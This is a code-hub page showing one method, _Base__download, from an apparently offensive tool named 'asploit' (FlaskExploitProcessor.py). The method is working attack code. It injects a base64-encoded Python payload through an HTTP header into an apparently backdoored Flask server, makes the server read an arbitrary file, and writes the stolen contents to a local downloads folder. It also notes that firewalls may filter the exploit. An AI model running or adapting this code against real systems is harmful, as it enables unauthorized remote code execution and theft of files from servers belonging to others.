MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__download

Method _Base__download

src/FlaskExploitProcessor.py:175–215  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

173 @brief See base class for details.
174 """
175 def _Base__download(self, options: str):
176 if len(options) == 0:
177 raise CommandException("Specify a file to download.")
178
179 url = f"{self.host}{self.path}"
180 if not self.host.startswith("http"):
181 url = "http://" + url
182 try:
183 message = (
184 f"global r;\n"
185 f"try:"
186 f"\t__import__('os').chdir('{self.directory}');"
187 f"r={self.flask_object}.make_response("
188 f"{self.flask_object},open('{options}', 'r').read());"
189 f"r.headers['{self.header}']='Done.';\n"
190 f"except Exception as e:\n"
191 f"\tr.headers['{self.header}']=__import__('base64')."
192 f"b64encode(str(e).encode());")
193 print("Downloading file...")
194 response = requests.request(
195 self.method,
196 url,
197 headers={ f"{self.header}":
198 base64.b64encode(message.encode()).decode() }
199 )
200 data = response.content
201 if not response.ok:
202 raise Exception()
203 if not self.header in response.headers:
204 raise CommandException(
205 f"No message sent back from server, your exploit is "
206 f"probably being filtered by a firewall.")
207 if response.headers[self.header] == 'Done.':
208 path = Path('downloads/' + Path(options).name)
209 path.parent.mkdir(parents=True, exist_ok=True)
210 with open(path, "wb") as bin_file:
211 bin_file.write(data)
212
213 print(response.headers[self.header])
214 except:
215 raise CommandException(f"Message was not successfully processed.")
216
217 """
218 @brief See base class for details.

Callers

nothing calls this directly

Calls 1

CommandExceptionClass · 0.85

Tested by

no test coverage detected